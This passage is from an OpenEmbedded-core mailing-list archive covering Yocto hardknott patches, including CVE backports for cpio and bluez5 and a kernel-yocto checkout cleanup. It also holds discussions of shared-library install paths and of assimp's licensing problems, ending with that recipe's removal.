+   int i;
+-  dynamic_string pattern_name;
++  dynamic_string pattern_name = DYNAMIC_STRING_INITIALIZER;
+   FILE *pattern_fp;
+ 
+   if (num_patterns < 0)
+ num_patterns = 0;
+-  max_new_patterns = 1 + num_patterns;
+-  new_save_patterns = (char **) xmalloc (max_new_patterns * sizeof (char *));
+   new_num_patterns = num_patterns;
+-  ds_init (_name, 128);
++  max_new_patterns = num_patterns;
++  new_save_patterns = xcalloc (max_new_patterns, sizeof 
(new_save_patterns[0]));
+ 
+   pattern_fp = fopen (pattern_file_name, "r");
+   if (pattern_fp == NULL)
+ open_fatal (pattern_file_name);
+   while (ds_fgetstr (pattern_fp, _name, '\n') != NULL)
+ {
+-  if (new_num_patterns >= max_new_patterns)
+-  {
+-max_new_patterns += 1;
+-new_save_patterns = (char **)
+-  xrealloc ((char *) new_save_patterns,
+-max_new_patterns * sizeof (char *));
+-  }
++  if (new_num_patterns == max_new_patterns)
++  new_save_patterns = x2nrealloc (new_save_patterns,
++  _new_patterns,
++  sizeof (new_save_patterns[0]));
+   new_save_patterns[new_num_patterns] = xstrdup (pattern_name.ds_string);
+   ++new_num_patterns;
+ }
++
++  ds_free (_name);
++  
+   if (ferror (pattern_fp) || fclose (pattern_fp) == EOF)
+ close_error (pattern_file_name);
+ 
+@@ -1196,7 +1196,7 @@ swab_array (char *ptr, int count)
+in the file system.  */
+ 
+ void
+-process_copy_in ()
++process_copy_in (void)
+ {
+   char done = false;  /* True if trailer reached.  */
+   FILE *tty_in = NULL;/* Interactive file for rename option.  
*/
+diff --git a/src/copyout.c b/src/copyout.c
+index 8b0beb6..26e3dda 100644
+--- a/src/copyout.c
 

[OE-core] [hardknott][PATCH 01/11] kernel-yocto: Simplify no git repo case in do_kernel_checkout

[Anuj Mittal]

From: Paul Barker 

If the kernel sources are not fetched via git, a local git repository is
created in do_kernel_checkout. In this case we know that there will be
no remote branches and we will already be on the correct branch (since
only one branch will exist). So we can simplify things by skipping these
steps.

This also removes the assumption that the default git branch name will
be "master". Prior to this change, the final git checkout command in
do_kernel_checkout could fail if a local git repo was created and the
user had changed init.defaultBranch in their gitconfig.

Signed-off-by: Paul Barker 
Signed-off-by: Richard Purdie 
(cherry picked from commit af2a9c92d4498492ca23388c7b4bbed48abdc4d7)
Signed-off-by: Anuj Mittal 
---
 meta/classes/kernel-yocto.bbclass | 30 +++---
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/meta/classes/kernel-yocto.bbclass 
b/meta/classes/kernel-yocto.bbclass
index d38b60f519..8878573f6f 100644
--- a/meta/classes/kernel-yocto.bbclass
+++ b/meta/classes/kernel-yocto.bbclass
@@ -341,6 +341,21 @@ do_kernel_checkout() {
fi
fi
cd ${S}
+
+   # convert any remote branches to local tracking ones
+   for i in `git branch -a --no-color | grep remotes | grep -v 
HEAD`; do
+   b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
+   git show-ref --quiet --verify -- "refs/heads/$b"
+   if [ $? -ne 0 ]; then
+   git branch $b $i > /dev/null
+   fi
+   done
+
+   # Create a working tree copy of the kernel by checking out a 
branch
+   machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
+
+   # checkout and clobber any unimportant files
+   git checkout -f ${machine_branch}
else
# case: we have no git repository at all. 
# To support low bandwidth options for building the kernel, 
we'll just 
@@ -362,21 +377,6 @@ do_kernel_checkout() {
git commit -q -m "baseline commit: creating repo for 
${PN}-${PV}"
git clean -d -f
fi
-
-   # convert any remote branches to local tracking ones
-   for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
-   b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
-   git show-ref --quiet --verify -- "refs/heads/$b"
-   if [ $? -ne 0 ]; then
-   git branch $b $i > /dev/null
-   fi
-   done
-
-   # Create a working tree copy of the kernel by checking out a branch
-   machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
-
-   # checkout and clobber any unimportant files
-   git checkout -f ${machine_branch}
 }
 do_kernel_checkout[dirs] = "${S} ${WORKDIR}"
 
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155732): 
https://lists.openembedded.org/g/openembedded-core/message/155732
Mute This Topic: https://lists.openembedded.org/mt/85430105/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 00/11] Patch review request

[Anuj Mittal]

Please review these changes for hardknott. Builds cleanly on autobuilder
except for an intermittent failure.

https://autobuilder.yoctoproject.org/typhoon/#/builders/83/builds/2550

Thanks,

Anuj

The following changes since commit e3a7eaf9fe1420b2525e14f0c0f2936e7818b8a3:

  build-appliance-image: Update to hardknott head revision (2021-09-01 16:28:21 
+0100)

are available in the Git repository at:

  git://push.openembedded.org/openembedded-core-contrib anujm/hardknott

Andrej Valek (1):
  vim: add option to disable NLS support

Armin Kuster (1):
  lz4: Security Fix for CVE-2021-3520

Bruce Ashfield (3):
  linux-yocto/5.10: update to v5.10.59
  linux-yocto/5.10: update to v5.10.60
  parselogs.py: ignore intermittent CD/DVDROM identification failure

Paul Barker (1):
  kernel-yocto: Simplify no git repo case in do_kernel_checkout

Richard Purdie (3):
  sdk: Decouple default install path from built in path
  oeqa/runtime/parselogs: Make DVD ata error apply to all qemux86
machines
  xdg-utils: Add fix for CVE-2020-27748

Ross Burton (1):
  cpio: backport fix for CVE-2021-38185

Trevor Gamblin (1):
  bluez5: fix CVE-2021-3658

 meta/classes/kernel-yocto.bbclass |  30 +-
 meta/classes/populate_sdk_base.bbclass|   1 +
 meta/conf/bitbake.conf|   4 +-
 meta/files/toolchain-shar-extract.sh  |   3 +-
 meta/files/toolchain-shar-relocate.sh |   2 +-
 meta/lib/oeqa/runtime/cases/parselogs.py  |   1 +
 meta/recipes-connectivity/bluez5/bluez5.inc   |   1 +
 ...ter-Fix-storing-discoverable-setting.patch | 100 +++
 .../cpio/cpio-2.13/CVE-2021-38185.patch   | 581 ++
 meta/recipes-extended/cpio/cpio_2.13.bb   |   1 +
 ...9813e0eb0246f63b54e9e154970e609575af.patch |  58 ++
 .../xdg-utils/xdg-utils_1.1.3.bb  |   1 +
 .../linux/linux-yocto-rt_5.10.bb  |   6 +-
 .../linux/linux-yocto-tiny_5.10.bb|   8 +-
 meta/recipes-kernel/linux/linux-yocto_5.10.bb |  24 +-
 .../lz4/files/CVE-2021-3520.patch |  27 +
 meta/recipes-support/lz4/lz4_1.9.3.bb |   1 +
 meta/recipes-support/vim/vim.inc  |   4 +-
 18 files changed, 815 insertions(+), 38 deletions(-)
 create mode 100644 
meta/recipes-connectivity/bluez5/bluez5/0001-adapter-Fix-storing-discoverable-setting.patch
 create mode 100644 meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
 create mode 100644 
meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
 create mode 100644 meta/recipes-support/lz4/files/CVE-2021-3520.patch

-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155731): 
https://lists.openembedded.org/g/openembedded-core/message/155731
Mute This Topic: https://lists.openembedded.org/mt/85430104/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 02/11] bluez5: fix CVE-2021-3658

[Anuj Mittal]

From: Trevor Gamblin 

Backporting upstream fix since the uprev from 5.60 -> 5.61 does include
some minor functionality changes.

Signed-off-by: Trevor Gamblin 
Signed-off-by: Anuj Mittal 
---
 meta/recipes-connectivity/bluez5/bluez5.inc   |   1 +
 ...ter-Fix-storing-discoverable-setting.patch | 100 ++
 2 files changed, 101 insertions(+)
 create mode 100644 
meta/recipes-connectivity/bluez5/bluez5/0001-adapter-Fix-storing-discoverable-setting.patch

diff --git a/meta/recipes-connectivity/bluez5/bluez5.inc 
b/meta/recipes-connectivity/bluez5/bluez5.inc
index a7b628ce1b..0d30b1a3f5 100644
--- a/meta/recipes-connectivity/bluez5/bluez5.inc
+++ b/meta/recipes-connectivity/bluez5/bluez5.inc
@@ -52,6 +52,7 @@ SRC_URI = 
"${KERNELORG_MIRROR}/linux/bluetooth/bluez-${PV}.tar.xz \
${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '', 
'file://0001-Allow-using-obexd-without-systemd-in-the-user-sessio.patch', d)} \

file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
file://0001-test-gatt-Fix-hung-issue.patch \
+   file://0001-adapter-Fix-storing-discoverable-setting.patch \
"
 S = "${WORKDIR}/bluez-${PV}"
 
diff --git 
a/meta/recipes-connectivity/bluez5/bluez5/0001-adapter-Fix-storing-discoverable-setting.patch
 
b/meta/recipes-connectivity/bluez5/bluez5/0001-adapter-Fix-storing-discoverable-setting.patch
new file mode 100644
index 00..c2a5edd226
--- /dev/null
+++ 
b/meta/recipes-connectivity/bluez5/bluez5/0001-adapter-Fix-storing-discoverable-setting.patch
@@ -0,0 +1,100 @@
+From b497b5942a8beb8f89ca1c359c54ad67ec843055 Mon Sep 17 00:00:00 2001
+From: Luiz Augusto von Dentz 
+Date: Thu, 24 Jun 2021 16:32:04 -0700
+Subject: [PATCH] adapter: Fix storing discoverable setting
+
+discoverable setting shall only be store when changed via Discoverable
+property and not when discovery client set it as that be considered
+temporary just for the lifetime of the discovery.
+
+Upstream-Status: Backport
+(https://git.kernel.org/pub/scm/bluetooth/bluez.git/commit/?id=b497b5942a8beb8f89ca1c359c54ad67ec843055)
+
+CVE: CVE-2021-3658
+
+Signed-off-by: Trevor Gamblin 
+
+---
+ src/adapter.c | 35 ++-
+ 1 file changed, 22 insertions(+), 13 deletions(-)
+
+diff --git a/src/adapter.c b/src/adapter.c
+index 12e4ff5c0..663b778e4 100644
+--- a/src/adapter.c
 b/src/adapter.c
+@@ -560,7 +560,11 @@ static void settings_changed(struct btd_adapter *adapter, 
uint32_t settings)
+   if (changed_mask & MGMT_SETTING_DISCOVERABLE) {
+   g_dbus_emit_property_changed(dbus_conn, adapter->path,
+   ADAPTER_INTERFACE, "Discoverable");
+-  store_adapter_info(adapter);
++  /* Only persist discoverable setting if it was not set
++   * temporarily by discovery.
++   */
++  if (!adapter->discovery_discoverable)
++  store_adapter_info(adapter);
+   btd_adv_manager_refresh(adapter->adv_manager);
+   }
+ 
+@@ -2162,8 +2166,6 @@ static bool filters_equal(struct 
mgmt_cp_start_service_discovery *a,
+ static int update_discovery_filter(struct btd_adapter *adapter)
+ {
+   struct mgmt_cp_start_service_discovery *sd_cp;
+-  GSList *l;
+-
+ 
+   DBG("");
+ 
+@@ -2173,17 +2175,24 @@ static int update_discovery_filter(struct btd_adapter 
*adapter)
+   return -ENOMEM;
+   }
+ 
+-  for (l = adapter->discovery_list; l; l = g_slist_next(l)) {
+-  struct discovery_client *client = l->data;
++  /* Only attempt to overwrite current discoverable setting when not
++   * discoverable.
++   */
++  if (!(adapter->current_settings & MGMT_OP_SET_DISCOVERABLE)) {
++  GSList *l;
+ 
+-  if (!client->discovery_filter)
+-  continue;
++  for (l = adapter->discovery_list; l; l = g_slist_next(l)) {
++  struct discovery_client *client = l->data;
+ 
+-  if (client->discovery_filter->discoverable)
+-  break;
+-  }
++  if (!client->discovery_filter)
++  continue;
+ 
+-  set_discovery_discoverable(adapter, l ? true : false);
++  if (client->discovery_filter->discoverable) {
++  set_discovery_discoverable(adapter, true);
++  break;
++  }
++  }
++  }
+ 
+   /*
+* If filters are equal, then don't update scan, except for when
+@@ -2216,8 +2225,7 @@ static int discovery_stop(struct discovery_client 
*client)
+   return 0;
+   }
+ 
+-  if (adapter->discovery_discoverable)
+-  set_discovery_discoverable(adapter, false);
++  set_discovery_discoverable(adapter, false);
+ 
+   /*
+* In the idle phase of a discovery, there is no need to 

Re: [OE-core] minor curiosity related to libdir vs base_libdir and shared libs

[Andre McCurdy]

On Sun, Sep 5, 2021 at 1:02 PM Robert P. J. Day  wrote:
>   a minor oddity i stumbled over digging into the proper installation
> of shared libraries ... building core-image-minimal for qemuarm64 and,
> for the most part, recipes from oe-core that install shared libs put
> all three artifacts (real name, so name and linker name) under
> /usr/lib, as in:
>
>   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so
>   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so.3
>   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so.3.0.0
>
> however, the *occasional* recipe chooses to -- for whatever reason --
> distinguish between libdir and base_libdir. for example, here's the
> result of installing tcp-wrappers' shared libs in its ${D} directory:
>
>   ./tcp-wrappers/7.6-r10/image/lib/libwrap.so.0.7.6
>   ./tcp-wrappers/7.6-r10/image/lib/libwrap.so.0
>   ./tcp-wrappers/7.6-r10/image/usr/lib/libwrap.so
>
> this is due to the following manual override in tcp-wrappers_7.6.bb:
>
>   do_install () {
> oe_libinstall -a libwrap ${D}${libdir}
> oe_libinstall -C shared -so libwrap ${D}${base_libdir}
>
> if [ "${libdir}" != "${base_libdir}" ] ; then
> rel_lib_prefix=`echo ${libdir} | sed 
> 's,\(^/\|\)[^/][^/]*,..,g'`
> libname=`readlink ${D}${base_libdir}/libwrap.so | xargs 
> basename`
> ln -s ${rel_lib_prefix}${base_libdir}/${libname} 
> ${D}${libdir}/libwrap.so
> rm -f ${D}${base_libdir}/libwrap.so
> fi
> ...
>
> so this recipe -- after doing the *default* shared lib installation
> via oe_libinstall() -- conditionally chooses to override that.

git blame is often the best starting point for understanding why
things are done in a certain way. In this case the comment from the
original comment (from 11 years ago..) references portmap, which is no
longer supported by oe-core:

  
https://git.openembedded.org/openembedded-core/commit/?id=6ffc4f2e04f2d405b14f198220a3613d386489e7

>   another recipe that is even odder is libcap-ng:
>
>   ./libcap-ng/0.8.2-r0/image/lib/libcap-ng.so.0.0.0
>   ./libcap-ng/0.8.2-r0/image/lib/libcap-ng.so.0
>   ./libcap-ng/0.8.2-r0/image/usr/lib/libcap-ng.so
>   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so.0
>   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so
>   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so.0.0.0
>
> which seems odd since it does that override for *one* of the shared
> libs that it generates, but not the other:
>
>   do_install:append() {
> # Moving libcap-ng to base_libdir
> if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
> mkdir -p ${D}/${base_libdir}/
> mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
> relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
> ln -sf ${relpath}/libcap-ng.so.0.0.0 
> ${D}${libdir}/libcap-ng.so
> fi
>   }

The original commit from 2013 gives a few more clues in this case:

  
https://git.yoctoproject.org/cgit/cgit.cgi/meta-selinux/commit/?id=587fdba43a7747992995029a88d3051ef0efe7f6

It's not explicit which QA test was being triggered but presumably it
was "unsafe-references-in-binaries", which has since been dropped from
oe-core:

  
https://git.openembedded.org/openembedded-core/commit/?id=a6af5bbf3dad6f0951c67a0aae13ef86a8906893

So... it looks like these examples of moving libs to base_libdir are
obsolete and can be dropped.

Some comments in insane.bbclass left behind when the
unsafe-references-in-binaries and unsafe-references-in-scripts QA
tests were removed can be dropped too.

> given that almost all other recipes seem happy to just stuff all that
> under /usr/lib, what is the rationale for the above occasional
> difference? it pretty clearly doesn't affect functionality; it just
> looks strange.
>
> rday
>
> 
>

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155743): 
https://lists.openembedded.org/g/openembedded-core/message/155743
Mute This Topic: https://lists.openembedded.org/mt/85398874/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] License issues for assimp_5.0.1.bb

[Robert Yang]

Hello,

It seems that meta/recipes-graphics/vulkan/assimp_5.0.1.bb has license issues,
its license is BSD-3-Clause in the LICENSE file, but a few files can't
be redistributed with out written permissions:

* scripts/StepImporter/schema_ifc2x3.exp

Copyright by: International Alliance for Interoperability, 1996-2005 All rights 
reserved. No part of this documentation may be reproduced, stored in a retrieval 
system, or transmitted in any form or by any means, without the prior written 
permission of the owner



* test/models-nonbsd/X/dwarf-Read-Me.txt

RESTRICTIONS: This model pack is available for use in freeware, shareware, 
commercial games/software with the following restrictions:- **You may not 
sell/re-sell this model pack or claim it as your own. ***You may not 
redistribute this pack in some other model pack through a website or on a 
compilation CD of any kind, without my written consent. Psi 
http://www.psionic3d.co.uk


* test/models-nonbsd/B3D/turtle.source.txt

Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk Used with 
permission. RESTRICTIONS: This model pack is available for use in freeware, 
shareware, commercial games/software with the following restrictions:- **You may 
not sell/re-sell this model pack or claim it as your own. ***You may not 
redistribute this pack in some other model pack through a website or on a 
compilation CD of any kind, without my written consent.



It seems that we even can't add these files to a mirror like:

http://downloads.yoctoproject.org/mirror/sources/git2/github.com.assimp.assimp.git/


Maybe we should add LICENSE_FLAGS or remove the recipe?

--
Thanks

Robert

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155744): 
https://lists.openembedded.org/g/openembedded-core/message/155744
Mute This Topic: https://lists.openembedded.org/mt/85430468/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] License issues for assimp_5.0.1.bb

[Alexander Kanavin]

I'm not sure what, if anything, uses assimp anymore - it used to be a
dependency of (old) vulkan-demos, but not anymore. And nothing in meta-oe.
Qt5/6 has it as an optional dependency in qt3d, off by default.

I'd say, remove.

Alex

On Tue, 7 Sept 2021 at 09:35, Robert Yang  wrote:

> Hello,
>
> It seems that meta/recipes-graphics/vulkan/assimp_5.0.1.bb has license
> issues,
> its license is BSD-3-Clause in the LICENSE file, but a few files can't
> be redistributed with out written permissions:
>
> * scripts/StepImporter/schema_ifc2x3.exp
>
> Copyright by: International Alliance for Interoperability, 1996-2005 All
> rights
> reserved. No part of this documentation may be reproduced, stored in a
> retrieval
> system, or transmitted in any form or by any means, without the prior
> written
> permission of the owner
>
>
> * test/models-nonbsd/X/dwarf-Read-Me.txt
>
> RESTRICTIONS: This model pack is available for use in freeware, shareware,
> commercial games/software with the following restrictions:- **You may not
> sell/re-sell this model pack or claim it as your own. ***You may not
> redistribute this pack in some other model pack through a website or on a
> compilation CD of any kind, without my written consent. Psi
> http://www.psionic3d.co.uk
>
> * test/models-nonbsd/B3D/turtle.source.txt
>
> Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk Used with
> permission. RESTRICTIONS: This model pack is available for use in
> freeware,
> shareware, commercial games/software with the following restrictions:-
> **You may
> not sell/re-sell this model pack or claim it as your own. ***You may not
> redistribute this pack in some other model pack through a website or on a
> compilation CD of any kind, without my written consent.
>
>
> It seems that we even can't add these files to a mirror like:
>
>
> http://downloads.yoctoproject.org/mirror/sources/git2/github.com.assimp.assimp.git/
>
>
> Maybe we should add LICENSE_FLAGS or remove the recipe?
>
> --
> Thanks
>
> Robert
>
> 
>
>

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155745): 
https://lists.openembedded.org/g/openembedded-core/message/155745
Mute This Topic: https://lists.openembedded.org/mt/85430468/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] minor curiosity related to libdir vs base_libdir and shared libs

[Robert P. J. Day]

On Tue, 7 Sep 2021, Andre McCurdy wrote:

> On Sun, Sep 5, 2021 at 1:02 PM Robert P. J. Day  wrote:
> >   a minor oddity i stumbled over digging into the proper installation
> > of shared libraries ... building core-image-minimal for qemuarm64 and,
> > for the most part, recipes from oe-core that install shared libs put
> > all three artifacts (real name, so name and linker name) under
> > /usr/lib, as in:
> >
> >   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so
> >   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so.3
> >   ./libtirpc/1.3.2-r0/image/usr/lib/libtirpc.so.3.0.0
> >
> > however, the *occasional* recipe chooses to -- for whatever reason --
> > distinguish between libdir and base_libdir. for example, here's the
> > result of installing tcp-wrappers' shared libs in its ${D} directory:
> >
> >   ./tcp-wrappers/7.6-r10/image/lib/libwrap.so.0.7.6
> >   ./tcp-wrappers/7.6-r10/image/lib/libwrap.so.0
> >   ./tcp-wrappers/7.6-r10/image/usr/lib/libwrap.so
> >
> > this is due to the following manual override in tcp-wrappers_7.6.bb:
> >
> >   do_install () {
> > oe_libinstall -a libwrap ${D}${libdir}
> > oe_libinstall -C shared -so libwrap ${D}${base_libdir}
> >
> > if [ "${libdir}" != "${base_libdir}" ] ; then
> > rel_lib_prefix=`echo ${libdir} | sed 
> > 's,\(^/\|\)[^/][^/]*,..,g'`
> > libname=`readlink ${D}${base_libdir}/libwrap.so | xargs 
> > basename`
> > ln -s ${rel_lib_prefix}${base_libdir}/${libname} 
> > ${D}${libdir}/libwrap.so
> > rm -f ${D}${base_libdir}/libwrap.so
> > fi
> > ...
> >
> > so this recipe -- after doing the *default* shared lib installation
> > via oe_libinstall() -- conditionally chooses to override that.
>
> git blame is often the best starting point for understanding why
> things are done in a certain way. In this case the comment from the
> original comment (from 11 years ago..) references portmap, which is no
> longer supported by oe-core:
>
>   
> https://git.openembedded.org/openembedded-core/commit/?id=6ffc4f2e04f2d405b14f198220a3613d386489e7
>
> >   another recipe that is even odder is libcap-ng:
> >
> >   ./libcap-ng/0.8.2-r0/image/lib/libcap-ng.so.0.0.0
> >   ./libcap-ng/0.8.2-r0/image/lib/libcap-ng.so.0
> >   ./libcap-ng/0.8.2-r0/image/usr/lib/libcap-ng.so
> >   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so.0
> >   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so
> >   ./libcap-ng/0.8.2-r0/image/usr/lib/libdrop_ambient.so.0.0.0
> >
> > which seems odd since it does that override for *one* of the shared
> > libs that it generates, but not the other:
> >
> >   do_install:append() {
> > # Moving libcap-ng to base_libdir
> > if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
> > mkdir -p ${D}/${base_libdir}/
> > mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
> > relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
> > ln -sf ${relpath}/libcap-ng.so.0.0.0 
> > ${D}${libdir}/libcap-ng.so
> > fi
> >   }
>
> The original commit from 2013 gives a few more clues in this case:
>
>   
> https://git.yoctoproject.org/cgit/cgit.cgi/meta-selinux/commit/?id=587fdba43a7747992995029a88d3051ef0efe7f6
>
> It's not explicit which QA test was being triggered but presumably it
> was "unsafe-references-in-binaries", which has since been dropped from
> oe-core:
>
>   
> https://git.openembedded.org/openembedded-core/commit/?id=a6af5bbf3dad6f0951c67a0aae13ef86a8906893
>
> So... it looks like these examples of moving libs to base_libdir are
> obsolete and can be dropped.
>
> Some comments in insane.bbclass left behind when the
> unsafe-references-in-binaries and unsafe-references-in-scripts QA
> tests were removed can be dropped too.
>
> > given that almost all other recipes seem happy to just stuff all that
> > under /usr/lib, what is the rationale for the above occasional
> > difference? it pretty clearly doesn't affect functionality; it just
> > looks strange.

  thanks, i appreciate the research ... i was moderately curious about
what was happening, but i just didn't have the energy to go digging.
so it seems that it would be harmless to -- in the case of
tcp-wrappers -- just drop the following from its do_install() routine:

  do_install () {
... snip ...
if [ "${libdir}" != "${base_libdir}" ] ; then
rel_lib_prefix=`echo ${libdir} | sed 's,\(^/\|\)[^/][^/]*,..,g'`
libname=`readlink ${D}${base_libdir}/libwrap.so | xargs 
basename`
ln -s ${rel_lib_prefix}${base_libdir}/${libname} 
${D}${libdir}/libwrap.so
rm -f ${D}${base_libdir}/libwrap.so
fi

is it worth the cleanup, or is that just useless churn for little
value?

rday

-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155747): 
https://lists.openembedded.org/g/openembedded-core/message/155747

[OE-core] [PATCH 0/1] assimp: Remove it

[Robert Yang]

The following changes since commit 70de1dbb660461bdf0613494f53ec4c78738ae2a:

  vim: Add packageconfig for sound notification support (2021-09-06 09:49:13 
+0100)

are available in the Git repository at:

  git://git.openembedded.org/openembedded-core-contrib rbt/assimp
  http://cgit.openembedded.org/openembedded-core-contrib/log/?h=rbt/assimp

Robert Yang (1):
  assimp: Remove it

 meta/conf/distro/include/maintainers.inc  |1 -
 ...hared-lib-from-_IMPORT_CHECK_TARGETS.patch |   32 -
 ...hub.com-assimp-assimp-issues-2733-up.patch | 1664 -
 .../use-GNUInstallDirs-where-possible.patch   |  257 ---
 meta/recipes-graphics/vulkan/assimp_5.0.1.bb  |   26 -
 5 files changed, 1980 deletions(-)
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/use-GNUInstallDirs-where-possible.patch
 delete mode 100644 meta/recipes-graphics/vulkan/assimp_5.0.1.bb

-- 
2.17.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155748): 
https://lists.openembedded.org/g/openembedded-core/message/155748
Mute This Topic: https://lists.openembedded.org/mt/85431029/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [PATCH 1/1] assimp: Remove it

[Robert Yang]

Remove it since it has license issues:

* scripts/StepImporter/schema_ifc2x3.exp
Copyright by: International Alliance for Interoperability, 1996-2005 All rights
reserved. No part of this documentation may be reproduced, stored in a
retrieval system, or transmitted in any form or by any means, without the prior
written permission of the owner

* test/models-nonbsd/X/dwarf-Read-Me.txt
RESTRICTIONS: This model pack is available for use in freeware, shareware,
commercial games/software with the following restrictions:- **You may not
sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent. Psi
http://www.psionic3d.co.uk

* test/models-nonbsd/B3D/turtle.source.txt
Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk Used with
permission. RESTRICTIONS: This model pack is available for use in freeware,
shareware, commercial games/software with the following restrictions:- **You
may not sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent.

And no recipes depend on it, so remove it.

Signed-off-by: Robert Yang 
---
 meta/conf/distro/include/maintainers.inc  |1 -
 ...hared-lib-from-_IMPORT_CHECK_TARGETS.patch |   32 -
 ...hub.com-assimp-assimp-issues-2733-up.patch | 1664 -
 .../use-GNUInstallDirs-where-possible.patch   |  257 ---
 meta/recipes-graphics/vulkan/assimp_5.0.1.bb  |   26 -
 5 files changed, 1980 deletions(-)
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch
 delete mode 100644 
meta/recipes-graphics/vulkan/assimp/use-GNUInstallDirs-where-possible.patch
 delete mode 100644 meta/recipes-graphics/vulkan/assimp_5.0.1.bb

diff --git a/meta/conf/distro/include/maintainers.inc 
b/meta/conf/distro/include/maintainers.inc
index 0e8185f4e3..e560ba39dd 100644
--- a/meta/conf/distro/include/maintainers.inc
+++ b/meta/conf/distro/include/maintainers.inc
@@ -46,7 +46,6 @@ RECIPE_MAINTAINER:pn-apt = "Aníbal Limón 
"
 RECIPE_MAINTAINER:pn-argp-standalone = "Khem Raj "
 RECIPE_MAINTAINER:pn-asciidoc = "Yi Zhao "
 RECIPE_MAINTAINER:pn-aspell = "Anuj Mittal "
-RECIPE_MAINTAINER:pn-assimp = "Anuj Mittal "
 RECIPE_MAINTAINER:pn-at = "Chen Qi "
 RECIPE_MAINTAINER:pn-at-spi2-atk = "Tim Orling "
 RECIPE_MAINTAINER:pn-at-spi2-core = "Tim Orling "
diff --git 
a/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
 
b/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
deleted file mode 100644
index 1078148d6b..00
--- 
a/meta/recipes-graphics/vulkan/assimp/0001-assimp-remove-shared-lib-from-_IMPORT_CHECK_TARGETS.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From: Ranjitsinh Rathod 
-Date: Fri, 13 Aug 2021 16:42:48 +0530
-Subject: [PATCH] assimp: remove shared lib from _IMPORT_CHECK_TARGETS
-
-In the target assimp::assimp shared library verification removed
-as it is giving configuration error when used by 3rd part component to
-configure itself using assimp::assimp target
-
-Upstream-Status: Inappropriate [oe specific]
-
-Signed-off-by: Ranjitsinh Rathod 

